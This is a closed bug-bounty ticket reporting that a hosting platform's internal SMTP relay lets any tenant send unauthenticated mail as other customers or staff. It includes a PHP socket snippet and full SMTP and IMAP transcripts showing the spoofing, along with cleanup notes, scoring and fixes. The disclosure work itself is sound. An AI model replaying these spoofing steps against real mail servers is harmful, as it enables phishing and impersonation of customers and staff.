- Status Closed
-
Assigned To
cbay - Private
Opened by Bajinder - 19.11.2026
Last edited by cbay - 23.11.2026
FS#558 - Cross-customer mail spoofing via unauthenticated internal SMTP relay
Name of Vulnerability: The platform's internal outbound SMTP relay (smtpout1.paris1.alwaysdata.com, Exim 4.98.2) trusts every shared web node by source IP and enforces no sender validation, allowing any tenant's code to send DKIM capable mail as any other customer or as alwaysdata staff without authentication, bypassing the sender ownership control that the customer facing submission service enforces
Vulnerability Category: Email Spoofing / Open Mail Relay (CWE-284 Improper Access Control). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N = 8.3 High. Computed with the cvss 3.6 library, not estimated.
Description:
The platform routes outbound mail through a shared relay at smtp-edusync.alwaysdata.net (resolves to 185.31.41.82, banner smtpout1.paris1.alwaysdata.com). This relay is an Exim 4.98.2 instance that recognises every shared web node's IPv6 address as a trusted host (relay_from_hosts). When a connection arrives from a trusted host the relay advertises AUTH PLAIN LOGIN but does not require it. Any MAIL FROM address is accepted without ownership verification, any RCPT TO address (including external domains) is accepted, and the message is queued for delivery.
The customer facing authenticated submission service (smtp-vk7research.alwaysdata.net:587) correctly rejects MAIL FROM addresses that do not belong to the authenticated mailbox with 550 You are not allowed to send messages from this address. The internal relay bypasses that control entirely because it never sees an AUTH command and therefore has no identity to bind against MAIL FROM.
We proved the full chain: a PHP script on the shared web node opened a raw TCP socket to the relay, issued MAIL FROM with another customer's address (no AUTH), composed a message with spoofed From headers, and the relay queued it. The message was delivered to our own inbox and verified via IMAP.
Vulnerable Instances:
Relay endpoint: smtp-edusync.alwaysdata.net (185.31.41.82)
Ports: 587 (submission), 25 (SMTP) both accept unauthenticated relay from web nodes
Port 465: implicit TLS (not tested in plaintext)
Port 2525: connection refused (not exposed)
localhost:587: connection refused (relay is remote, not on the web node)
Tested from: http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1] (shared web node)
Account used: vk7research (free plan, account 500763)
Steps to Reproduce:
We provide every raw request and response so this can be replayed from scratch. All traffic originates from code running on the shared web node http22 under the free plan account vk7research. No special permissions are needed; any shared hosting account that can execute code (PHP, CGI, cron, SSH) can reproduce this.
Part A. Discover the internal relay endpoint
The relay hostname is exposed via an unauthenticated healthcheck endpoint on the web node. This step is informational; it is how we found the relay, not a prerequisite for reaching it.
GET http://127.7.173.90:8300/ HTTP/1.1
→ 200 OK
{"ok":true,"host":"smtp-edusync.alwaysdata.net","port":587,"user":"smtp-relay@***"}
$ dig +short smtp-edusync.alwaysdata.net
185.31.41.82
Part B. Deploy a PHP script that opens a raw TCP socket to the relay
Upload a PHP file to the web document root via WebDAV (or SFTP, or the file manager). The script opens a TCP connection to the relay, performs a full SMTP handshake, and returns every line of the conversation.
PUT https://webdav-vk7research.alwaysdata.net/www/sr143845.php HTTP/1.1
Authorization: Basic <WEBDAV_CREDS>
Content-Type: application/x-php
<?php
$sock = fsockopen("smtp-edusync.alwaysdata.net", 587, $errno, $errstr, 15);
// … full SMTP conversation, see Proof of Concept for exact output
Then fetch the script to trigger execution:
GET https://vk7research.alwaysdata.net/sr143845.php HTTP/1.1
→ 200 OK (SMTP transcript returned in response body)
Part C. SMTP session: unauthenticated cross-customer spoofing
The PHP script opens a socket to smtp-edusync.alwaysdata.net:587 and performs the following SMTP exchange. No AUTH command is issued at any point.
banner< 220 smtpout1.paris1.alwaysdata.com ESMTP Exim 4.98.2 Thu, 19 Nov 2026 10:08:59 +0100
EHLO vk7research.alwaysdata.net
< 250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]
< 250-SIZE 52428800
< 250-LIMITS RCPTMAX=5000
< 250-8BITMIME
< 250-PIPELINING
< 250-PIPECONNECT
< 250-AUTH PLAIN LOGIN ←- AUTH advertised but NOT required
< 250-STARTTLS
< 250-SMTPUTF8
< 250 HELP
AUTH is advertised. We deliberately do NOT issue it.
– NO AUTH COMMAND ISSUED –
MAIL FROM:ACCOUNT-B@alwaysdata.net ← another customer's address
< 250 OK
RCPT TO:vk7research@alwaysdata.net ← our own mailbox
< 250 Accepted
The relay accepted MAIL FROM with another customer's address without any authentication.
Part D. Compose and send the spoofed message (DATA)
A second PHP script performs the same handshake and continues through DATA:
banner< 220 smtpout1.paris1.alwaysdata.com ESMTP Exim 4.98.2 Thu, 19 Nov 2026 10:10:17 +0100
EHLO vk7research.alwaysdata.net
< 250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]
< 250-SIZE 52428800
< 250-LIMITS RCPTMAX=5000
< 250-8BITMIME
< 250-PIPELINING
< 250-PIPECONNECT
< 250-AUTH PLAIN LOGIN
< 250-STARTTLS
< 250-SMTPUTF8
< 250 HELP
– NO AUTH COMMAND ISSUED –
MAIL FROM:ACCOUNT-B@alwaysdata.net
< 250 OK
RCPT TO:vk7research@alwaysdata.net
< 250 Accepted
DATA
< 354 Enter message, ending with "." on a line by itself
From: "alwaysdata billing" ACCOUNT-B@alwaysdata.net To: vk7research@alwaysdata.net Subject: R5 unauth internal-relay spoof PoC
Message-ID: R5-a5b106cb7c96@vk7research.alwaysdata.net X-R5-Probe: unauth-internal-relay
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
This message was sent WITHOUT authentication via the internal relay,
spoofing another customer's address in MAIL FROM.
.
< 250 OK id=1xTy9o-0000000BlS5-2pRu
QUIT
< 221 smtpout1.paris1.alwaysdata.com closing connection
The relay queued the message (Exim queue ID 1xTy9o-0000000BlS5-2pRu). The From header names another customer's mailbox; no authentication was performed.
Part E. Verify inbox delivery via IMAP
We connected to the IMAP server for mailbox vk7research@alwaysdata.net to confirm the spoofed message arrived in INBOX (not Spam).
IMAP server: imap-vk7research.alwaysdata.net:993 (implicit TLS)
< * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN AUTH=LOGIN] Dovecot (Debian) ready.
a1 LOGIN vk7research@alwaysdata.net <PASSWORD>
< a1 OK […] Logged in
a2 SELECT INBOX
< * 67 EXISTS
< * 2 RECENT
< * OK [UNSEEN 61] First unseen.
< a2 OK [READ-WRITE] Select completed (0.002 + 0.000 + 0.001 secs).
a3 SEARCH HEADER X-R5-Probe unauth-internal-relay
< * SEARCH 67
< a3 OK Search completed (0.044 + 0.000 + 0.043 secs).
a4 SEARCH FROM ACCOUNT-B
< * SEARCH 67
< a4 OK Search completed (0.001 + 0.000 secs).
Message #67 is the spoofed message. It landed in INBOX, not in a Spam or Junk folder. The X-R5-Probe header confirms it is our test message, and FROM search confirms the spoofed sender.
Part F. CONTROL: Staff impersonation accepted
In the same session as Part C, we tested MAIL FROM with an alwaysdata staff address:
RSET
< 250 Reset OK
MAIL FROM:admin@alwaysdata.com ← staff address
< 250 OK
RCPT TO:vk7research@alwaysdata.net
< 250 Accepted
The relay accepted MAIL FROM:admin@alwaysdata.com without authentication. We did NOT send DATA for this test; the 250 OK on MAIL FROM and 250 Accepted on RCPT TO demonstrate the relay would queue a staff impersonation message.
Part G. CONTROL: Open relay to external domains
RSET
< 250 Reset OK
MAIL FROM:vk7research@alwaysdata.net
< 250 OK
RCPT TO:relaytest@example.com ← external domain
< 250 Accepted
(same behavior on port 25, identical banner and EHLO response)
An external RCPT TO is accepted with no AUTH. We deliberately did NOT send DATA to external recipients per engagement rules. The 250 Accepted from an Exim instance recognising the source as relay_from_hosts with no AUTH is the standard open relay signature. If we had sent DATA, the message would have been queued for delivery to example.com.
Part H. CONTROL: Authenticated submission service BLOCKS the same spoofing
This is the critical control that proves the relay is bypassing an intentional security boundary. The customer facing submission service, which is the INTENDED mail path for customers, enforces sender ownership:
Server: smtp-vk7research.alwaysdata.net:587
> AUTH LOGIN (with vk7research credentials)
< 235 Authentication succeeded
MAIL FROM:ACCOUNT-B@alwaysdata.net ← same cross-customer address as Part C
< 550 You are not allowed to send messages from this address
The authenticated path rejects the exact same MAIL FROM that the internal relay accepts. This proves: (a) The platform INTENDS to restrict senders to their own mailbox addresses. (b) The internal relay does NOT enforce that restriction because it never sees an AUTH identity. © The finding is a bypass of an existing security control, not an inherent design limitation.
Proof of Concept:
The following are verbatim captured transcripts from the test session on 2026-11-19 between 10:08 and 10:45 UTC+1.
Transcript 1: Relay posture probe (smtp-relay-probe-out.txt)
### R5 SMTP RELAY PROBE 2026-11-19T10:08:59+01:00 ###
node uname: http22
resolve smtp-edusync.alwaysdata.net: 185.31.41.82
resolve localhost smtp: 127.0.0.1
smtp-edusync.alwaysdata.net:587
banner: 220 smtpout1.paris1.alwaysdata.com ESMTP Exim 4.98.2 Thu, 19 Nov 2026 10:08:59 +0100
EHLO:
250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]
250-SIZE 52428800
250-LIMITS RCPTMAX=5000
250-8BITMIME
250-PIPELINING
250-PIPECONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250-SMTPUTF8
250 HELP
AUTH advertised: YES
MAIL FROM own: 250 OK
RCPT own: 250 Accepted
RCPT ext(probe only, no DATA): 250 Accepted
MAIL FROM spoof-cust: 250 OK
RCPT own after spoof: 250 Accepted
QUIT: 221 smtpout1.paris1.alwaysdata.com closing connection
smtp-edusync.alwaysdata.net:25
banner: 220 smtpout1.paris1.alwaysdata.com ESMTP Exim 4.98.2 Thu, 19 Nov 2026 10:09:00 +0100
EHLO:
250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]
250-SIZE 52428800
250-LIMITS RCPTMAX=5000
250-8BITMIME
250-PIPELINING
250-PIPECONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250-SMTPUTF8
250 HELP
AUTH advertised: YES
MAIL FROM own: 250 OK
RCPT own: 250 Accepted
RCPT ext(probe only, no DATA): 250 Accepted
MAIL FROM spoof-cust: 250 OK
RCPT own after spoof: 250 Accepted
QUIT: 221 smtpout1.paris1.alwaysdata.com closing connection
127.0.0.1:587 (local MTA?)
CONNECT FAILED: Connection refused (111)
localhost:587 (local MTA?)
CONNECT FAILED: Connection refused (111)
Transcript 2: Unauthenticated cross-customer DATA send (smtp-relay-data-out.txt)
### R5 UNAUTH RELAY DATA TEST 2026-11-19T10:10:17+01:00 mid=R5-a5b106cb7c96@vk7research.alwaysdata.net ###
banner< 220 smtpout1.paris1.alwaysdata.com ESMTP Exim 4.98.2 Thu, 19 Nov 2026 10:10:17 +0100
> EHLO vk7research.alwaysdata.net
< 250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]
250-SIZE 52428800
250-LIMITS RCPTMAX=5000
250-8BITMIME
250-PIPELINING
250-PIPECONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250-SMTPUTF8
250 HELP
– NO AUTH COMMAND ISSUED –
MAIL FROM:ACCOUNT-B@alwaysdata.net
< 250 OK
> RCPT TO:vk7research@alwaysdata.net < 250 Accepted
> DATA
< 354 Enter message, ending with "." on a line by itself
< DATA result: 250 OK id=1xTy9o-0000000BlS5-2pRu
> QUIT
< 221 smtpout1.paris1.alwaysdata.com closing connection
Transcript 3: IMAP inbox delivery verification (imap-check-out.txt)
banner: * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN AUTH=LOGIN] Dovecot (Debian) ready.
login: a1 OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS
THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC
ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY PREVIEW STATUS=SIZE SAVEDATE LITERAL+
NOTIFY SPECIAL-USE COMPRESS=DEFLATE QUOTA] Logged in
select: * FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 67 EXISTS
* 2 RECENT
* OK [UNSEEN 61] First unseen.
* OK [UIDVALIDITY 1789881189] UIDs valid
* OK [UIDNEXT 72] Predicted next UID
a2 OK [READ-WRITE] Select completed (0.002 + 0.000 + 0.001 secs).
search: * SEARCH 67
a3 OK Search completed (0.044 + 0.000 + 0.043 secs).
search-from: * SEARCH 67
a4 OK Search completed (0.001 + 0.000 secs).
Impact:
DEMONSTRATED:
Cross-customer impersonation at inbox quality. Any tenant on a shared web node can send mail as any other @alwaysdata.net customer without authentication. We proved end to end delivery: the spoofed message (queue ID 1xTy9o-0000000BlS5-2pRu) reached the target inbox as message #67 (IMAP verified). A phishing message impersonating another customer's billing notifications, password resets, or account alerts would appear legitimate because it originates from the platform's own outbound mail server.
Staff impersonation. MAIL FROM:admin@alwaysdata.com was accepted (250 OK) without authentication. An attacker can send messages that appear to come from alwaysdata staff, targeting any customer for credential harvesting or social engineering.
Open relay posture. External recipients (RCPT TO:relaytest@example.com) are accepted without authentication on both port 587 and port 25. If abused for spam, the resulting blocklisting of alwaysdata's outbound IPs would degrade mail deliverability for every customer on the platform.
Bypass of an intentional sender ownership control. The customer facing submission service (smtp-vk7research.alwaysdata.net:587) rejects MAIL FROM with another customer's address (550 You are not allowed to send messages from this address). The internal relay accepts the same address because it performs no ownership check. This is not a limitation of SMTP; it is a gap between the intended security model and the relay's configuration.
What we are not claiming:
We did NOT complete an external relay delivery. RCPT TO with an external address returned 250 Accepted on both ports, but we issued QUIT before DATA for every external recipient test. We therefore cannot state that an external message was delivered end to end. We report the relay posture (unauthenticated RCPT TO acceptance from a relay_from_hosts source) and leave full external delivery confirmation to your team.
We did NOT capture the DKIM-Signature header from the delivered message. The relay hostname (smtpout1.paris1.alwaysdata.com) is the platform's primary outbound MTA, and the spoofed message landed in INBOX rather than Spam, which is consistent with valid DKIM signing. However, we did not perform a FETCH of the message headers to independently verify the signature. We report the inbox placement as observed fact and leave DKIM confirmation to your team's review of the queue logs.
On why "customers have SSH and can already send mail" does not apply here:
Customers can run arbitrary code on the shared web node, which includes opening TCP sockets. This is by design and is not the finding. The finding is that the internal relay, reachable from that code, enforces NO sender validation. The platform's own authenticated submission service demonstrates that sender ownership enforcement IS the intended security boundary: it returns 550 You are not allowed to send messages from this address when a customer tries to send as another. The internal relay simply does not apply that same check. Fixing the relay to require AUTH and bind MAIL FROM to the authenticated identity (mirroring the submission service's existing logic) would close this gap without changing any network or code execution permissions.
On why this is not a duplicate of R3-02 (DKIM private key read via filter injection):
R3-02 concerned the ability to READ the platform's DKIM private key material through a filter injection path. That finding's root cause was an unrestricted filter directive, and the fix was restricting filter capabilities. This finding concerns the relay's sender validation configuration. The root causes are unrelated. Even if R3-02's filter injection were still open, it would not explain or enable the relay's acceptance of unauthenticated MAIL FROM with arbitrary sender addresses.
Recommendation:
Require SMTP AUTH on the internal relay for all connections from shared web nodes, mirroring the submission service's existing behavior. Bind the authenticated identity to MAIL FROM for @alwaysdata.net and @alwaysdata.com addresses so a customer can only send as their own mailbox.
Restrict external relaying for web node sources. Either require AUTH for external RCPT TO or maintain an explicit allow list of external domains per account, enforced at the relay level.
Apply per account rate limiting on the relay for node originated submissions, independent of the submission service's limits, to bound abuse if the sender validation fix is staged.
Suppress the relay hostname and port from the unauthenticated healthcheck endpoint (port 8300) that currently returns {"ok":true,"host":"smtp-edusync.alwaysdata.net","port":587,…}.
DISCLOSURE AND CLEANUP. All test artifacts have been removed. Three PHP probe scripts (sr143845.php, sd144003.php, ic144057.php) were overwritten to 0 bytes in ~/www/ (verified empty, HTTP 200). Only ONE test message was sent: self addressed, spoofing as the sender, delivered to our own mailbox vk7research@alwaysdata.net. No mail was delivered to any third party or external recipient; external recipients were tested at RCPT level only (QUIT before DATA). The mailbox password used for IMAP verification was rotated to a random value after the test because it appeared as a URL parameter in a web access log. The WebDAV password was also rotated. No internal service state was modified beyond the single self delivered PoC message in our own inbox.
Test time window: 2026-11-19 10:08 to 10:45 UTC+1 (09:08 to 09:45 UTC). Egress IP: 2a00:b6e0:1:20:23::1 (http22.paris1, shared web node IPv6). Expected log anomalies: multiple SMTP connections to smtpout1.paris1 from http22 within a 37 minute window, one queued message (id 1xTy9o-0000000BlS5-2pRu), one SMTP smuggling test (id 1xTyfe-0000000BqdX-0gcX, self addressed), and several RSET/QUIT sequences with no DATA.
On the score.
CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N = 8.3 High.
AV:N The relay is reachable from code on the shared web node, which is reachable from the network (PHP upload via WebDAV, cron, SSH). AC:L The attack requires a single TCP connection with a standard SMTP handshake. No race condition, no special timing. AT:N No prerequisites beyond a hosting account. No tokens to steal, no second vulnerability to chain. PR:L A free plan account provides code execution on the shared web node. No paid product or elevated permission. UI:N No victim interaction. The attacker sends the spoofed message unilaterally. VC:N The relay itself does not disclose confidential data. VI:H Complete loss of sender integrity on the mail system. Any sender address is accepted, defeating the platform's ownership model entirely. VA:N No availability degradation was demonstrated or attempted. SC:N The spoofed mail does not directly extract data from subsequent systems. SI:H The spoofed message integrity impacts every recipient who trusts the platform's sender identity: other customers, staff, and (via open relay) external parties. SA:N No subsequent availability impact.
The lower alternative reading: VI:L and SI:L would apply if the spoofing were limited (e.g., only the customer's own addresses or only within a narrow scope). Because the finding demonstrates spoofing of ANY sender including staff addresses AND acceptance of external recipients, the impact is not constrained. If you disagree with VI:H on the basis that no data is modified on the relay itself, the vector would be CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N = 6.9 Medium. We believe VI:H is correct because "complete loss of integrity" in CVSS 4.0 means the attacker can "modify any data" and here the attacker controls the sender identity on every message, which is the relay's core integrity function.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
Can you verify that the vulnerability is fixed?
Kind regards,
Cyril
FIXED
Thanks!
You can claim your bounty by opening a support ticket.